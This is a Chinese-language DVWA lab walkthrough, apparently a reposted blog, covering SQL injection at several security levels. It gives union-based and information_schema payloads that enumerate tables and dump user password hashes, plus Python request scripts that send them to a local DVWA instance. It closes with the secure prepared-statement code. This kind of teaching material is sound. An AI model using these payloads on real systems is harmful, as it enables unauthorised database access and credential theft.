使用Python脚本学习DVWA

编程入门 行业动态 更新时间:2024-10-17 02:54:57

使用Python<a href=https://www.elefans.com/category/jswz/34/1771291.html style=脚本学习DVWA"/>

使用Python脚本学习DVWA

使用Python脚本学习DVWA

  • SQL Injection(SQL注入)
    • Low
      • Python脚本
      • 执行结果
    • Medium
      • python源码
    • High
    • Impossible

SQL Injection(SQL注入)

本文全程参考[=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢
注意:文中输入的单引号都是英文半角,如:“1’ or 1='1” 是“1单引号 or 1=单引号1”

SQL Injection(SQL注入)
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

SQL注入流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据

Low

  1. 在User ID:中输入1,点击Submit,返回 ID: 1、First name: admin、Surname: admin。
  2. Form提交后,程序会根据编写的SQL脚本查询数据库相应的表,如果没有对输入进行过滤处理,我们可以猜测尝试输入相应值,来访问未经授权的表或数据库,这就是SQL 注入。
  3. 查看源代码,相应的SQL查询语句 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’; ,比如输入1,程序编写者原意是SELECT first_name, last_name FROM users WHERE user_id = ‘1’;,那么我们可以尝试拼凑输入来进行注入测试。
  4. 我们输入 1’ or 1='1 ,拼凑后的SQL就是 SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1='1’;这样会将整个users表进行输出。
  5. 这样我们就获得了未经授权的数据。
  6. 通过页面输出,目前不好判断查询返回 ID/First name/Surname 3个字段还是First name/Surname 2个字段。
  7. 我们输入1’ or 1=1 order by 1 – ,拼凑后的SQL就是 SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1=1 order by 1 – ’;
  8. order by 1是根据第一个字段排序,–是SQL的注释语句,把最后的‘;注释掉。注意–之后要加一个空格。
  9. 我们输入1’ or 1=1 order by 2 – ,拼凑后的SQL就是 *SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1=1 order by 2 – ’;
  10. 根据第二个字段进行排序,输出成功说明有第二个字段。
  11. 我们输入1’ or 1=1 order by 3 – ,拼凑后的SQL就是 SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1=1 order by 3 – ’;
  12. 根据第三个字段进行排序,返回失败报错。说明只有两个字段输出。
  13. 输入1’ union select 1,2 – ,测试union是否可用,UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。这样就可以利用UNION访问其它表和数据库。注意:UNION 操作符要求多个select语句的字段数目一致。如果字段数目不足,可以用select 1去补足。
  14. 输入1’ union select 1,version() – ,select version()表示查询mysql数据库的版本。
  15. 输入 1’ union select 1,database() – ,select database()查看数据库名称。
  16. 在mysql中,information_schema数据库是MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。我们可以查询系统mysql中有多少数据库、每个数据库有哪些表,每个表有哪些字段等数据。
  17. 下面我们查看目前正在使用数据库,有哪些表。输入 1’ UNION select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,information_schema.tables表记录所有的数据库的表名,table_schema=database() 表示查询条件是目前正在使用的数据库名,group_concat(table_name),表示把所有的表名拼接成一个字段,select 1,group_concat(table_name) 的两个字段,与SELECT first_name, last_name的两个字段一致。# 也是注释符
  18. 这样我们就查到当前使用的数据库有两张表,分别是guestbook和users。
  19. 我们可以查看guestbook表有哪些字段,输入: 1’ UNION select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME=‘guestbook’ # ,information_schema.columns记录表对应的字段名,TABLE_NAME='guestbook’表示查询guestbook表。
  20. 我们可以看出guestbook表有comment_id,comment,name三个字段。
  21. 查看users表有哪些字段,输入: 1’ UNION select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME=‘users’ # ,有user_id,first_name,last_name,user,password,avatar,last_login,failed_login字段。
  22. 我们猜测user和password是用户名和密码,输入:1’ UNION select user,password from users #
  23. 可以看到First name: admin是用户名,Surname: 5f4dcc3b5aa765d61d8327deb882cf99是密码,密码是md5加密的,可以访问CMD5解密网站进行解密,反算后密码为password,与前面Brute Force(爆破)得到的结果一致。

Python脚本

通过浏览器F12调出开发者调试器,访问DVWA更换脚本中的PHPSESSID值。
根据上面输入的注入值,替换脚本中的sqlstr变量。

#-*- coding:utf-8 -*-
import requestsheaders = {'Cookie':'security=low; PHPSESSID=0i70asg3ha95sgjs421iuvk0uc','Referer':'http://localhost/DVWA/vulnerabilities/sqli/'}
sqlstr = "1' union select 1,version() --  "
#data={'ip':command,'Submit':'Submit'}def post_http(sqlstr):url = 'http://localhost/DVWA/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'req = requests.get(url,headers=headers)return(url,req.status_code,req.text)print('++++++++开始SQL注入++++++++')
url,status_code,result=post_http(sqlstr)
print(url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

++++++++开始SQL注入++++++++
http://localhost/DVWA/vulnerabilities/sqli/?id=1' union select 1,version() --  &Submit=Submit|200|4392
.........................
<pre>ID: 1' union select 1,version() --  <br />First name: admin<br />Surname: admin</pre><pre>ID: 1' union select 1,version() --  <br />First name: 1<br />Surname: 10.5.9-MariaDB</pre>
.........................

Medium

查看源码发现从输入框改成下拉框,然后用mysqli_real_escape_string函数对输入编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z进行转义。

python源码

#-*- coding:utf-8 -*-
import requestsheaders = {'Cookie':'security=medium; PHPSESSID=0i70asg3ha95sgjs421iuvk0uc','Referer':'http://localhost/DVWA/vulnerabilities/sqli/'}
sqlstr = "1"
data={'id':sqlstr,'Submit':'Submit'}def post_http(data):url = 'http://localhost/DVWA/vulnerabilities/sqli/'req = requests.post(url,headers=headers,data=data)return(url,req.status_code,req.text)print('++++++++开始SQL注入++++++++')
url,status_code,result=post_http(data)
print(url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

输出结果中有

ID: 1
First name: admin
Surname: admin
,表示脚本能正常工作。

把python脚本中 sqlstr = “1” 改成 sqlstr = "1’ or 1=1 – "

执行后,输出

++++++++开始SQL注入++++++++
http://localhost/DVWA/vulnerabilities/sqli/|200|171
<pre>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' or 1=1 --' at line 1</pre>

mysqli_real_escape_string函数将单引号转义成 ’ 导致sql无法执行报错。

将python脚本中的sqlstr 替换测试后,下面的SQL拼接可以执行。
sqlstr = "1 and 1 = 1 "
#获取mysql版本
sqlstr = “1 union select 1,version()”
#获取在用数据库名
sqlstr = “1 union select 1,database()”
#获取在用数据库表名
sqlstr = “1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()”
#获取所有数据表对应的列名,由于单引号会被过滤,我只有用这种笨办法,然后根据表名找对应的字段名
sqlstr = "1 union SELECT TABLE_NAME,column_name from information_schema.columns "
#查询users表
sqlstr = “1 union select user,password from users”

High

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

输入:1’ UNION select user,password from users # ,可以注入

Impossible

对输入ID好像先判断是否数字,然后转换成int类型,再对占位变量:id 进行变量替换。

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>

更多推荐

使用Python脚本学习DVWA

本文发布于:2024-02-12 01:03:38,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1684805.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:脚本   Python   DVWA

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!